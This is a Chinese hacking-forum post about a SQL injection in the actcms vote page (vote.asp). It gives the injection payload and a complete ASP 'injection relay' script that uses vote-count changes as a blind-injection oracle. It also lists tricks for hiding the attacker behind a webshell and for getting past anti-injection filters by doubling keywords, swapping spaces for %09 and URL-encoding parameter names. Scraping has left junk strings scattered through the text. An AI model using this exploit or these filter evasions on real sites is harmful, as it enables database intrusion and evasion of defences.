注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
5 @  A* M3 I) ^3 X8 ?+ L( h链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
/ J4 |0 v) c% H+ ?( a/ |关于actcms漏洞的利用  by 3x qq:381862589
* b4 k& }( G+ l* v. K) k转载请注明以上
# X7 e* N! Z  ~- \. V2 k7 H漏洞文件：
/plus/vote/vote.asp
2 |+ U& |: X4 J代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
+ v2 F! ]7 H( v3 W. }; m0 W
" Z) K4 D5 t0 I2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
2 Z* X+ ^7 x8 k4 H) F7 Q' A. F
. X2 W+ G% M2 p$ n, e9 y3    response.end   
+ D) t! ^4 T7 s7 [4 p0 X
4    end if   
- ~& Z% S- B) @& j! A; O3 @2 B- R
5    for i=1 to request("voted").count   
0 v" x1 O: e+ C
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
6 P) f: j) Z! C0 L7 K, o  ]  H
7    next   
; E8 B, J" w9 i9 s9 k* l' u
8....   
; V+ l& `& J: [- @
/ \6 M. M# E7 J& W9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
1 h; e" t: l% @2 M            失败票数不变
. V: y$ Y6 `: v# N如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
; ^2 N3 `: {8 l' Z
2009-12-27 13:20

4 j; E. E/ h0 C利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
7 }+ U9 X3 p+ P- d3 e我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
& B. _  }' ]2 a5 l注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
) _5 R" f" n. g3 [% |. {& Y
; Q9 k2 W9 x/ ^5 o) _然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")
0 |- Y+ |) U/ N1 ~+ ?, O
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName
( D' D; n0 L+ Z, K+ p# q
3 V5 M& Q% f9 @1 s3 J4 D" P05JmStr=URLEncoding(JmStr)
7 v+ v" p( n: T# {
: }7 g/ N7 ?: x% `! w06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

5 m) E8 y6 A5 A1 b07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
; f. D! C: f  s* y) ~+ u
# N9 n- L( m/ E08testurl=testurl & "?" & JmStr
) w+ W1 j" \1 U/ h' F
) i3 H$ e# z; \  ~$ U09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 j4 O1 S. G% H+ c6 y7 [
% n/ \# k! _  f5 x% D# O! u; ~11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
9 K) i2 a( ^, ^! c1 _3 z
; R% K) m  y, F/ C  c& A. x12JmCok=replace(JmCok,chr(32),"%20")  
; X2 P  g9 p6 ]% l
, B) R+ A+ e4 `" }! a7 |# G13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! M6 I5 Y$ w0 l' g+ i
: z+ z: o; @) h! h: x* q14  

1 b+ B7 M. D- o. G' `* v3 O2 }15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

' i# a9 J1 e* J9 k16  

% Y1 C; V. K; _# _  i  o17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 k/ R% R/ A, Q9 l/ I7 b2 b
/ e$ p  v( r- @0 E7 B& H18response.write test1&""&test2&""

19  

7 [6 \+ O3 O. ]2 x; ]9 E. {+ @# u20if test1=test2 then '如前后记录相等，表示失败
% o7 m( k0 `2 x" o5 ^' v
21  response.write "failed"
  O2 b/ X- N7 [* j8 y) k
7 _& Y- M6 K* m1 l22else
) l7 D9 n6 \% b+ Y
) }" h, s% {* \- H- b  _4 J* w23  response.write "succeed"
2 u9 C4 K+ @/ q/ _/ `0 K
6 @# x7 G. E* [* U, X" u24end if  
/ _; {, {! U: {
25  
: s. ^+ F' {: h) Q1 J& m
26response.write "by 3x"

27  

28  

1 W* k* g/ E- w3 I29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
7 _/ r9 M7 l1 k, l0 y8 K9 q
30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

) j, Y7 X8 }- H0 q. y* D32With Http

33  
1 B. X, `% o  Z1 k. s" }
34.Open "GET",PostUrl,False
  k" I+ z& R) m" }
3 x/ D8 l5 I. y2 Q/ ^35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
* a$ @4 H( a  F1 y
- n, h6 \% |# l* X& @  J# e+ U, k36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok

- x. a) f& D! F3 P7 p! E6 n) U4 Q38.Send ()
! [" x9 E7 ?( ^
39PostData = .ResponseBody
; e2 h' G# t! K  o+ p! a2 u
! P4 B$ c) h6 T9 ^& {, @40End With
8 g7 C; S: D9 `) L2 B  V: W" A# ^! k
41Set Http = Nothing
$ U9 V: H# @) B& ^$ h0 N0 s# `4 ?
42PostData =bytes2BSTR(PostData)

43End Function

44  

45  
& j! V: P, n# {+ }# t( _3 P+ K
8 v, b3 D$ P4 X4 z46Function bytes2BSTR(vIn)
0 }# L- q2 e* D3 O
; ~! r) q4 `; R; b6 B; ?& T/ l* r47Dim strReturn

0 w; n) s8 P* H6 j4 m4 P$ Y! z48Dim I, ThisCharCode, NextCharCode

/ h7 I# q; [5 q# T) `49strReturn = ""

50For I = 1 To LenB(vIn)
2 o, u* }4 N9 T7 Z
: p  p; |+ e5 B51ThisCharCode = AscB(MidB(vIn, I, 1))

7 F! ]- V# e* e/ [: ]; G52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

54Else
4 C' B, S0 B% b1 Q+ e- y
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
1 _7 ^4 h9 L/ y9 K
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
$ d; H- b# ?) k+ r- p( \
0 a, z3 o9 {- q  Z57I = I + 1
) U2 z1 b  x1 l/ y
58End If

) p* k5 n3 c) f6 c59Next

60bytes2BSTR = strReturn
1 U& k4 A: U3 l2 s! s0 f
: [4 \9 f2 N, l6 ?( S; B61End Function
/ D: N4 x% K; C" v5 r* X! Y
62  
; F  W# [+ f# x6 H
63Function URLEncoding(vstrin)  

) a! e" o/ }  ^9 r# `64strReturn=""
2 A$ V2 N' W4 Y# L& ?5 l
65Dim i

66For i=1 To Len(vstrin)

7 ~; _) c4 y0 m/ F67ThisChr=Mid(vstrin,i,1)

5 h$ s& B$ \; i68if Abs(Asc(ThisChr))< &HFF Then
8 Z, D+ D2 t, G. ^, S$ F
* b% f2 S' h7 [. @) [: w, \, P69strReturn=strReturn & ThisChr

70Else
1 _# O( @5 p: m( a8 g
71InnerCode=Asc(ThisChr)
3 ]( D6 t2 Y( x. N0 t& {/ x
72If InnerCode<0 Then
* v( H9 h* f3 W! ]
: [! H) f( d6 Y! z( Y9 `$ h73InnerCode=InnerCode + &H10000

74End If
. p9 x) Z/ W+ J) ]
75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

( N( |- \+ d, k79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
( \+ Y3 a; W9 ^; l: w; k
$ o. J2 T# N  I5 u; T: c3 S7 K3 a81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

. m( b% l4 F0 Y( m5 d2 ]83URLEncoding=strReturn
- Q* Y  w0 h& r4 K3 \; y# k
84End Function

! j: }! @: B. J, S: M- Z+ r85  
& ~7 S- l! u) W! h
86function getSt(body)

- }. s! h( D+ z4 \- Z87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
# L/ h& N. C5 C4 G7 j8 [& j1 P" v
; {) R# F  l7 O$ p! _8 g( c. Q" I89  getSt=mid(body,startpot,endpot-startpot)
4 _  E8 s" I- [- Z& `8 L, X" \/ T: j
# N1 g! {* \! a# F9 _) |90end function
0 A( g+ o3 H8 s  L% d. [
91%>
# E, t0 ~% y0 B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
6 D/ E4 q6 v: t( {1 u/ A测试下效果：
投票成功：
  k" y, V9 p+ r2 O7 Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
" B2 G- e& k5 D7 Z( y, ]6 h
. }( w7 E# N4 H8 b" \/ }2009-12-27 13:29
投票失败
, N3 y' u% r3 O( Thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
4 l4 u* _: x4 a6 e" v2 A' I) I9 D-------------------------------------------------------------------------------
, D; o; x( j2 F! ~9 q; V再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
/ M! O) T' X; z2 b5 r所以失败。。。不好意思。。。
7 B' P6 x+ S. B  R& Q: J/ P-------------------------------------------------------------------------------

! a! D5 ^# O: }2 \- ^注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; {$ p: t% l2 e$ E1 w  s% H* r1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
- B- |4 @8 W1 a% S$ Y0 s/ `6 Z4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

( X) i+ Q' Y7 q! Q7 z